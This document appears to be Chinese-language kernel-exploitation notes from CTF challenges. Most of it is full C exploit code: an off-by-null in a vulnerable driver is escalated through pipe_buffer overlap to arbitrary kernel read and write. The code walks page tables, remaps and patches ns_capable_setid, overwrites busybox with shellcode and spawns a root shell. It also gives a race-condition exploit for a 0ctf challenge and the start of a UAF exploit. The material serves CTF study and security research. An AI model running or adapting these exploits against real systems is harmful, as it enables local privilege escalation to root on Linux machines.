    pte_addr = (data[PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr);
    pte_addr += page_offset_base;//==kernel_base ; + 0xeab50 == __sys_setre
    arb_read((void*) dirt(pte_addr), buf);
    page_addr = (data[PTE_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr += page_offset_base;
    data[PTE_ENTRY(dst_addr)] = 0x1fc000 | 0x8000000000000867;
    arb_write(dirt(pte_addr),data,0xff0);
}

void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int exp(){
    set_cpu_affinity(0,0);
    init_namespace();
    fd = open("/dev/kernelpwn",1);
    if(fd < 0){
        perror("open");
        _exit(0);
    }
    char *buf = calloc(1,0x10000);
    memset(buf,'a',0x200);
    logd("init sk-buffers");
    for(int i = 0;i < 0x10;i++){
        init_sk_buffer(i);
    }
    build_msg(1);
    logd("init pipe buffer");
    for(int i = 0;i < 0x40;i++){
        alloc_pipe_buff(i);
    }
    logi("spray some objects");
    for(int i = 0;i < 0x160;i++){
        add_only(0x80,buf);
    }
    logi("free objects now this page will back to buddy system");
    for(int i = 0;i < 0x160;i++){
        del(i);
    }
    logd("spary some sk-buffer");
    for(int i = 1;i < 0x9;i++){
        memset(buf,'\x00',0x200);
        memset(buf,'a' + i,0x10);
        alloc_sk_buffer(i,buf,0x200);
    }
    uint64_t *data = buf;
    int obj_idx = -1;
    for(int i = 0;i < 0x160;i++){
        show(i,buf,0x20);
        // hexdump(buf,0x10);
        if(data[0] != 0x6161616161616161 && data[0] && data[0] >> 48 != 0xffff){
            logi("get[%d]",i);
            obj_idx = i;
            break;
        }
    }
    del(obj_idx);
    uint64_t skb_idx = (data[0] >> 56) - 0x61;
    logi("get skb idx %d",skb_idx);
    change_pipe_buff_size(0,0x200);
    write(pipes[0][1],buf,0x1000);
    logi("Dirty pipe");
    int attack_fd = open("/bin/busybox",0);
    if(attack_fd < 0){
        perror("open");
        return -1;
    }
    loff_t offset = 0x1FDAC8;
    splice_fd(attack_fd,offset,0);
    show_skb_buff(skb_idx,buf,0x200);
    hexdump(buf,0x200);
    data[8] = 0x10;
    alloc_sk_buffer(0x9,buf,0x200);
    write(pipes[0][1],attack_data,sizeof(attack_data));
    //avoid pipe_buffer and sk-buffer in same object
    release_pipe_buff(0);
    msgbuf.mtype = 1;
    add_msg(0,&msgbuf,0x200-0x30);

    // __pause("debug");

}
int main(){
    
    int cid = fork();
    if(cid == 0){
        exp();
        return 0;
    }
    else{
        int wstatus;
        wait(wstatus);
        if (WIFEXITED(wstatus) && !WEXITSTATUS(wstatus)) {
            // setresuid(0, 0, 0);
            // execl("/bin/sh", "sh", NULL);
            return 0;
        }
    }


} 

Q: 假设不能用 show 还能做吗 A: OF COURSE

off by null

独立页的 off by null (kmalloc-0x200)

前置知识

page 申请的时候是从高地址向低地址申请的 (从下往上)

例如第一个页的地址是 0xffff8880081a9000 那第二个页的地址就是 0xffff8880081a8000, 依次类推

对于页的调试可以 b __get_free_pages

然后 b 第一个地址

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240218002622-584.png

漏洞利用

可以看到 512 大小的堆块属于 order-0 的页面 1 = 2^0

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240218002622-585.png

  1. 首先申请一些页, 以及对 pipe_buffer 进行初始化
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int page_fds[0x1000];
int pipefd[30][2];
int spray_pags(){
    logd("Spray 0x10 order-0 page");
    for(int i = 0;i < 0x20;i++){
        page_fds[i] = pagealloc_pad(0x1000,1);
    }
}
int determine_spray(){
    logd("spray determine page");
    spray_pags();
    char *buf = calloc(1,0x1000);
    for(int i = 0;i < 0x20;i++){
        alloc_pipe_buff(i);
    }

}
  1. 然后释放掉 page-0 申请一些 pipe_buffer, 由于默认的 pipe_buffer 的大小是(0x10*0x28) = 属于 kmalloc-cg-1k 的页
1
    close(page_fds[0]);//high page
  1. 因此需要使用 F_SETPIPE_SZ 将大小修改为 512 的大小
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    for(int i = 0;i < 0x10;i++){
        memset(buf,'\x62',0x1000);
        if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(0x200/0x40)) < 0){//order-0
            perror("fcntl");
            return -1;
        }
    }
    for(int i = 0;i < 0x10;i++){
        memset(buf,i + 1,0x1000);//设置特征值用来后续确定是哪个 page
        write(pipes[i][1],buf,0x100);//init page struct addr
    }
  1. 释放掉 page-1, 然后申请一些漏洞堆块
1
2
3
4
    close(page_fds[1]);//low page
    for(int i = 0;i < 0x8;i++){
        add_only(0x200,buf);//order-0
    }
  1. 触发漏洞 off by null, 修改 pipe_buffer 的 page 结构题指针 如果修改成功此时应该会使得两个 pipe_buffer 的 page 指向同一个页
1
2
3
4
    for(int i = 0;i < 0x8;i++){
        memset(buf,'\x00',0x1000);
        edit(i,buf,0x201);
    }
  1. 接下来我们可以通过根据内容特征来判断哪两个 pipe_buffer 指向了同一个 page
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    char c = '\x00';
    int s1;
    for(int i = 0;i < 0x10;i++){
        read(pipes[i][0],buf,0x200);
        c = *buf;
        if (c != i + 1){
            hexdump(buf,0x10);
            s1 = i;
            s2 = c - 1;
            break;
        }
    }
  1. 如果找到了两个 page 指向了同一个页,我们可以 free 掉其中一个页(s1),然后喷射一些 order-0 的 pipe buffer 以此来占位 free 的 order-0 的页, 那么此时我们可以通过读取 s2 的内容来获取该页的值 从而 leak 出 vmemmap_base (page 结构体基地址)以及 kernel base

    同时我们也可以不断的修改 page 结构体的值来做到任意地址读

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    //free order-0 page
    release_pipe_buff(s1);
    //allocate order-0 page use pipe buffer
    for(int i = 0x10;i < 0x20;i++){
        memset(buf,i + 1,0x1000);
        if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(0x200/0x40)) < 0){
            perror("fcntl");
            return -1;
        }
    }
	for(int i = 0x10;i < 0x20;i++){
        write(pipes[i][1],buf,0x10 + i);
    }
    read(pipes[s2][0],buf,0x100);
    write(pipes[s2][1],buf,0x100);
    tmp_idx = *(uint32_t*)(buf + 0x8 + 0x4);//idx
    tmp_idx = tmp_idx - 0x10;
    logi("tmp_idx:%d",tmp_idx);
    uint64_t *data = buf;
    kernel_base = data[2] - 0x1246ec0;
    logi("kernel_base:0x%llx",kernel_base);
    vmemmap_base = data[0] & 0xfffffffff0000000;
    logi("vmemmap_base:%llx",vmemmap_base);
  1. 接下来我们来获取线性映射区的地址(page_offset_base)堆栈地址也属于线性映射区的地址, 我们可以利用 task_struct 来获取线性映射区的地址
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    prctl(PR_SET_NAME,"cnitlrt");
    char *find_addr = NULL;
    uint64_t *find_data;
    size_t cred_addr,task_struct_addr,mm_struct_addr,comm_addr;
    for(int i = 0;i < 0x10000;i++){
        arb_read(vmemmap_base + 0x40 * i,buf);
        find_addr = memmem(buf,0x1000,"cnitlrt",7);
        find_data = find_addr;
        if(find_addr && is_heap_pointer(find_data[-2])){
            //cred_addr page_offset_base
            page_offset_base = find_data[-2] & 0xfffffffff0000000;
            //mm_sturct_addr 的地址
            mm_struct_addr = find_data[-0x4e];
            //page_offset_base + 0x1000*i 获取 task_struct 所在的页
            comm_addr = find_addr - buf + i * 0x1000 + page_offset_base;
            logi("page_offset_base: 0x%llx",page_offset_base);
            logi("comm_addr: 0x%llx",comm_addr);
            logi("mm_struct_addr: 0x%llx",mm_struct_addr);
            break;
        }
    }
页表解析

Q: 暂时不知道为什么解析到 pte_addr 之后获取到的就是 kerenel_base 对应的页表了

按理来说通过读取 pte 可以获取到 page 的地址,然后加上最后的偏移即可获取到所对应的物理地址

首先获取 ns_capable_setid 的物理地址

pgd-> pud-> pmd-> pte

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    char *mmap_addr = mmap(0x114514000,0x1000,PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
    if(!mmap_addr){
        perror("mmap");
        return -1;
    }
    uint64_t pgd_addr,pte_addr,pud_addr,pmd_addr,page_addr,dst_addr,phy_addr;
    memset(mmap_addr,'a',0x100);
    arb_read(dirt(mm_struct_addr),buf);
    pgd_addr = data[((mm_struct_addr + 0x48) & 0xfff) / 0x8];
    dst_addr = 0xeab50 + kernel_base;// ns_capable_setid
    arb_read(dirt(pgd_addr),buf);
    pud_addr = (data[PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;
    arb_read(dirt(pud_addr),buf);
    pmd_addr = (data[PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;
    arb_read((void*) dirt(pmd_addr), buf);
    pte_addr = (data[PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    phy_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr);//ns_capable_setid 的物理地址
获取 mmap 的物理地址,并修改其指向 ns_capable_setid 的物理地址
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    dst_addr = mmap_addr;// ns_capable_setid
    arb_read(dirt(pgd_addr),buf);
    pud_addr = (data[PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;
    arb_read(dirt(pud_addr),buf);
    pmd_addr = (data[PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;
    arb_read((void*) dirt(pmd_addr), buf);
    pte_addr = (data[PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr);
    pte_addr += page_offset_base;//== kernel_base ;
    arb_read((void*) dirt(pte_addr), buf);
    page_addr = (data[PTE_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr += page_offset_base;
    data[PTE_ENTRY(dst_addr)] = phy_addr | 0x8000000000000867;
    arb_write(dirt(pte_addr),data,0xff0);

之后便可以直接通过mmap来修改ns_capable_setid地址中的内容 直接让其返回为1即可

修改之前

pte-> mmap_addr https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240218003026-708.png 修改之后

pte-> mmap_page_addr

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240218003020-844.png

物理地址https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240218003015-467.png

完整 exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
#include "banzi.h"
int fd = -1;
int add(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x20,arg);
}
int add_only(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x77,arg);
}
int add_acc(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x88,arg);
}
int del(uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0x30,arg);
}
int edit(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x50,arg);
}
int show(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x40,arg);
}
int list(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x66,arg);
}
int page_fds[0x1000];
int pipefd[30][2];
int spray_pags(){
    logd("Spray 0x10 order-0 page");
    for(int i = 0;i < 0x20;i++){
        page_fds[i] = pagealloc_pad(0x1000,1);
    }
}
int determine_spray(){
    logd("spray determine page");
    spray_pags();
    char *buf = calloc(1,0x1000);
    for(int i = 0;i < 0x20;i++){
        alloc_pipe_buff(i);
    }
    // for(int i = 0; i < 200; i++){
    //   if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss [i]) < 0) {
    //       perror("[-] socketpair");
    //       return -1;
    //   }
    // }

}
size_t get_skb_idx(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0xfff0);
    leak = (uint64_t *)key;
    int i = 0;
    for (i = 0; i < 0xfff0/sizeof(uint64_t); i++)
    {
        if (leak[i] == 0xDEADBEEEDEADBEEF){   
            size_t j = leak[i - 1] - 0xDEADBEEEDEADBEE0;
            size_t tmp_i = i;
            logd("LEAK %d SKB[%d]",tmp_i,leak[i - 1] - 0xDEADBEEEDEADBEE0);
            return tmp_i,j;
        }
    }

    return -1;
}
#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39

#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)

#define PTE_ENTRY(addr) ((addr >> 12) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> 21) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> 30) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> 39) & PT_ENTRY_MASK)
#define PAGE_ENTRY(addr) ((addr) & PT_ENTRY_MASK)

#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)
const char attack_data[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5};
unsigned int key_spray = 64*2;
size_t s2,tmp_idx,page_offset_base,vmemmap_base;
uint64_t dirt(uint64_t addr){
    //vir_addr => page_struct_addr
    return (((addr & ~0xfff) - page_offset_base) / 0x1000) * 0x40 + vmemmap_base;
}
int arb_read(uint64_t addr,uint64_t *buf){
    memset(buf,'\x00',0x1000);
    read(pipes[s2][0],buf,0x200);
    buf[0] = addr;  
    buf[1] = 0x000011ff00000000;
    write(pipes[s2][1],buf,0x100);
    memset(buf,'\x00',0x1000);
    read(pipes[tmp_idx][0],buf,0x1000);
}
int arb_write(uint64_t addr,uint64_t *write_data,uint64_t size){
    char *buf = calloc(1,0x4000);
    uint64_t *data = buf;
    memset(data,'\x00',0x1000);
    read(pipes[s2][0],data,0x200);
    data[0] = addr;  
    //offset && length == 0
    data[1] = 0x0000000000000000;
    write(pipes[s2][1],data,0x100);
    write(pipes[tmp_idx][1],write_data,size);
}
int get_addr(uint64_t pgd_addr,uint64_t addr,char *buf){
    uint64_t pte_addr,pud_addr,pmd_addr,page_addr,dst_addr;
    uint64_t *data = buf;
    dst_addr = addr;// __sys_setresuid
    arb_read(dirt(pgd_addr),buf);
    pud_addr = (data[PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;
    arb_read(dirt(pud_addr),buf);
    pmd_addr = (data[PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;
    arb_read((void*) dirt(pmd_addr), buf);
    pte_addr = (data[PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr);
    pte_addr += page_offset_base;//==kernel_base ; + 0xeab50 == __sys_setre
    arb_read((void*) dirt(pte_addr), buf);
    page_addr = (data[PTE_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr += page_offset_base;
    data[PTE_ENTRY(dst_addr)] = 0x1fc000 | 0x8000000000000867;
    arb_write(dirt(pte_addr),data,0xff0);
}

void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int exp(){
    set_cpu_affinity(0,0);
    init_namespace();
    fd = open("/dev/kernelpwn",1);
    if(fd < 0){
        perror("open");
        _exit(0);
    }
    
    logi("open successful");
    char *buf = calloc(1,0x4000);
    memset(buf,'\x61',0x1000);
    determine_spray();
    close(page_fds[1]);//low page
    for(int i = 0;i < 0x8;i++){
        add_only(0x200,buf);//order-0
    }
    close(page_fds[0]);//high page
    for(int i = 0;i < 0x10;i++){
        memset(buf,'\x62',0x1000);
        if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(0x200/0x40)) < 0){//order-0
            perror("fcntl");
            return -1;
        }
    }
    for(int i = 0;i < 0x10;i++){
        memset(buf,i + 1,0x1000);
        write(pipes[i][1],buf,0x100);//init page struct addr
    }
    for(int i = 0;i < 0x8;i++){
        memset(buf,'\x00',0x1000);
        edit(i,buf,0x201);
    }
    char c = '\x00';
    int s1;
    for(int i = 0;i < 0x10;i++){
        read(pipes[i][0],buf,0x200);
        c = *buf;
        if (c != i + 1){
            hexdump(buf,0x10);
            s1 = i;
            s2 = c - 1;
            break;
        }
    }
    logi("find %d == %d",s1,s2);
    //free order-0 page
    release_pipe_buff(s1);
    //allocate order-0 page use pipe buffer
    for(int i = 0x10;i < 0x20;i++){
        memset(buf,i + 1,0x1000);
        if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(0x200/0x40)) < 0){
            perror("fcntl");
            return -1;
        }
    }
    for(int i = 0x10;i < 0x20;i++){
        write(pipes[i][1],buf,0x10 + i);
    }
    read(pipes[s2][0],buf,0x100);
    write(pipes[s2][1],buf,0x100);
    hexdump(buf,0x100);
    tmp_idx = *(uint32_t*)(buf + 0x8 + 0x4);
    tmp_idx = tmp_idx - 0x10;
    logi("tmp_idx:%d",tmp_idx);
    uint64_t *data = buf;
    kernel_base = data[2] - 0x1246ec0;
    logi("kernel_base:0x%llx",kernel_base);
    vmemmap_base = data[0] & 0xfffffffff0000000;
    logi("vmemmap_base:%llx",vmemmap_base);
    uint64_t secondart_startup_addr = kernel_base + 0x40;
    prctl(PR_SET_NAME,"cnitlrt");
    char *find_addr = NULL;
    uint64_t *find_data;
    size_t cred_addr,task_struct_addr,mm_struct_addr,comm_addr;
    for(int i = 0;i < 0x10000;i++){
        arb_read(vmemmap_base + 0x40 * i,buf);
        find_addr = memmem(buf,0x1000,"cnitlrt",7);
        find_data = find_addr;
        if(find_addr && is_heap_pointer(find_data[-2])){
            //cred_addr page_offset_base
            page_offset_base = find_data[-2] & 0xfffffffff0000000;
            //mm_sturct_addr 的地址
            mm_struct_addr = find_data[-0x4e];
            //page_offset_base + 0x1000*i 获取 task_struct 所在的页
            comm_addr = find_addr - buf + i * 0x1000 + page_offset_base;
            logi("page_offset_base: 0x%llx",page_offset_base);
            logi("comm_addr: 0x%llx",comm_addr);
            logi("mm_struct_addr: 0x%llx",mm_struct_addr);
            break;
        }
    }
    char *mmap_addr = mmap(0x114514000,0x1000,PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
    if(!mmap_addr){
        perror("mmap");
        return -1;
    }
    uint64_t pgd_addr,pte_addr,pud_addr,pmd_addr,page_addr,dst_addr,phy_addr;
    memset(mmap_addr,'a',0x100);
    arb_read(dirt(mm_struct_addr),buf);
    pgd_addr = data[((mm_struct_addr + 0x48) & 0xfff) / 0x8];

    dst_addr = 0xeab50 + kernel_base;// ns_capable_setid
    arb_read(dirt(pgd_addr),buf);
    pud_addr = (data[PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;
    arb_read(dirt(pud_addr),buf);
    pmd_addr = (data[PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;
    arb_read((void*) dirt(pmd_addr), buf);
    pte_addr = (data[PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    // pte_addr += page_offset_base;//==kernel_base ; + 0xeab50 == ns_capable_setid
    phy_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr); //phy_addr why ? 


    ///////////////////////////////////////////////////////////////////////////
    dst_addr = mmap_addr;// ns_capable_setid
    arb_read(dirt(pgd_addr),buf);
    pud_addr = (data[PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;
    arb_read(dirt(pud_addr),buf);
    pmd_addr = (data[PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;
    arb_read((void*) dirt(pmd_addr), buf);
    pte_addr = (data[PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr);
    pte_addr += page_offset_base;//==kernel_base ; + 0xeab50 == ns_capable_setid
    arb_read((void*) dirt(pte_addr), buf);
    page_addr = (data[PTE_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr += page_offset_base;
    data[PTE_ENTRY(dst_addr)] = phy_addr | 0x8000000000000867;
    arb_write(dirt(pte_addr),data,0xff0);

    // dst_addr = mmap_addr + 0x1000;// ns_capable_setid
    // arb_read(dirt(pgd_addr), buf);
    // pud_addr = (data [PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    // pud_addr += page_offset_base;
    // arb_read(dirt(pud_addr), buf);
    // pmd_addr = (data [PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    // pmd_addr += page_offset_base;
    // arb_read((void*) dirt(pmd_addr), buf);
    // pte_addr = (data [PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    // page_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr);
    // pte_addr += page_offset_base;//==kernel_base ; + 0xeab50 == __sys_setre
    // arb_read((void*) dirt(pte_addr), buf);
    // page_addr = (data [PTE_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    // page_addr += page_offset_base;
    // data [PTE_ENTRY(dst_addr)] = (phy_addr + 0x1000) | 0x8000000000000867;
    // arb_write(dirt(pte_addr), data,0xff0);

    uint64_t obj_addr = page_addr + PAGE_ENTRY(dst_addr);
    logi("pgd_addr: 0x%llx",pgd_addr);
    logi("pud_offset: 0x%llx pmd_offset: 0x%llx dst_poffset: 0x%llx pte_offset: 0x%llx page_entry: 0x%llx",PGD_ENTRY(dst_addr),PUD_ENTRY(dst_addr),PMD_ENTRY(dst_addr),PTE_ENTRY(dst_addr),PAGE_ENTRY(dst_addr));
    logi("pud_addr: 0x%llx",pud_addr);
    logi("pmd_addr: 0x%llx",pmd_addr);
    logi("pte_addr: 0x%llx",pte_addr);
    logi("page_addr: 0x%llx",page_addr);

    memset(mmap_addr + (0xeab50 & 0xfff), '\x90', 0x40); /* nop */
    memcpy(mmap_addr + (0xeab50 & 0xfff) + 0x40, 
            "\xf3\x0f\x1e\xfa"  /* endbr64 */
            "H\xc7\xc0\x01\x00\x00\x00"  /* mov rax, 1 */
            "\xc3", /* ret */
            12);
    hexdump(mmap_addr + (0xeab50 & 0xfff),0x100);
    // __pause("debug");


}
int main(){
    
    int cid = fork();
    if(cid == 0){
        exp();
        return 0;
    }
    else{
        int wstatus;
        wait(wstatus);
        if (WIFEXITED(wstatus) && !WEXITSTATUS(wstatus)) {
            setresuid(0, 0, 0);
            execl("/bin/sh", "sh", NULL);
            return 0;
        }
    }
}

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240218003035-396.png

patch setresuid或者ns_capable_setid

https://elixir.bootlin.com/linux/v6.11.6/source/kernel/sys.c#L676

不同版本可能略有差别,但最终我们都是让ns_capable_setid返回1,即可以运行到commit_creds

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241105033550067.png

任意地址读写

只有任意地址写

有任意地址读写

非例题

条件竞争

可以使用punch hole或者userfaultfd/fuse等方法,but后面两种限制太大。

0ctf-baby

直接条件竞争栈来leak出flag

假设thread-0恰好在往栈上放地址的时候

另外一个线程thread-1过了check,正在栈上取地址

这时候就有很大几率竞争成功

Q:why?

A: 暂时猜测一下是同一个进程起thread的kstack是相同的,一会写个poc验证一下

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241025050817009.png

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241025051334550.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <string.h>
#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>

#define TRYTIME 0x100
#define LEN 0x1000

struct attr
{
    char *flag;
    size_t len;
};
int fd;
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
void change_attr_value(void *s){
    struct attr * s1 = s; 
    while(finish==0){
    s1->flag = addr;
    }
}
void pass(void *s){
    struct attr * s1 = s; 
    int ret = -1;
    for(int i=0;i<TRYTIME;i++){
        s1->flag = buf;
        ret = ioctl(fd, 0x1337, s1);
    }
}

void check(void *s){
    struct attr * s1 = s; 
    int ret = -1;
    for(int i=0;i<TRYTIME;i++){
        s1->flag = addr;
        ret = ioctl(fd, 0x1337, s1);
    }
}

int main(void)
{
 

    int addr_fd;
    char *idx;

    fd = open("/dev/baby",0);
    int ret = ioctl(fd,0x6666);    
    pthread_t t1,t2;
    struct attr t;

    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);   

    system("dmesg > /tmp/record.txt");
    addr_fd = open("/tmp/record.txt",O_RDONLY);
    lseek(addr_fd,-LEN,SEEK_END);
    read(addr_fd,buf,LEN);
    close(addr_fd);
    idx = strstr(buf,"Your flag is at ");
    if (idx == 0){
        printf("[-]Not found addr");
        exit(-1);
    }
    else{
        idx+=16;
        addr = strtoull(idx,idx+16,16);
        printf("[+]flag addr: %p\n",addr);
    }

    t.len = 33;
    t.flag = buf;
    pthread_create(&t1, NULL, pass,&t);
    pthread_create(&t2, NULL, check,&t);
    
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    close(fd);
    puts("[+]result is :");
    system("dmesg |grep flag");
    return 0;
}

kernel-2

file_struct uaf

kernel-1

方法1

mmap映射,然后替换凭证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <banzi.h>
#include <linux/prctl.h>  /* Definition of PR_* constants */
#include <sys/prctl.h>

int fd = -1;

int main(){
    set_cpu_affinity(0,getpid());
    fd = open("/dev/fileManager",0);
    if(fd < 0){
        perror("open");
        return -1;
    }
    int uaf_fd = open("/tmp/uaf",O_CREAT|O_RDWR,0666);
    if(uaf_fd < 0){
        perror("open");
        return -1;
    }
